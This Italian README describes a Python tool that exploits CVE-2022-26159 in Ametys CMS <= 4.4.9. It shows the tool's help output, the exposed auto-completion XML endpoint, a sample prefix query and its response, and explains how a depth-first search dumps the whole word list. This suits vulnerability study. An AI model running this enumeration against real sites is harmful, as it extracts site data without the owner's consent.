
Un exploit python per dumpare automaticamente tutti i dati memorizzati dal plugin di auto-completamento di Ametys CMS in un file di database sqlite locale.
Un exploit in Python per estrarre automaticamente tutti i dati memorizzati dal plugin di autocompletamento di Ametys CMS in un file di database sqlite locale.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Il plugin di autocompletamento in Ametys CMS <= 4.4.9 espone pubblicamente un file XML contenente una wordlist al seguente indirizzo:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
Per effettuare una richiesta su questo database, un attaccante deve semplicemente digitare l'inizio della parola nel parametro q (query):
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
E il plugin di autocompletamento restituisce le prime 10 parole corrispondenti che iniziano con adm (dalla query) in un file XML:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
Detto questo, un attaccante deve semplicemente eseguire una ricerca in profondità sull'API per estrarne tutto il contenuto.
Le pull request sono benvenute. Sentiti libero di aprire un issue se desideri aggiungere altre funzionalità.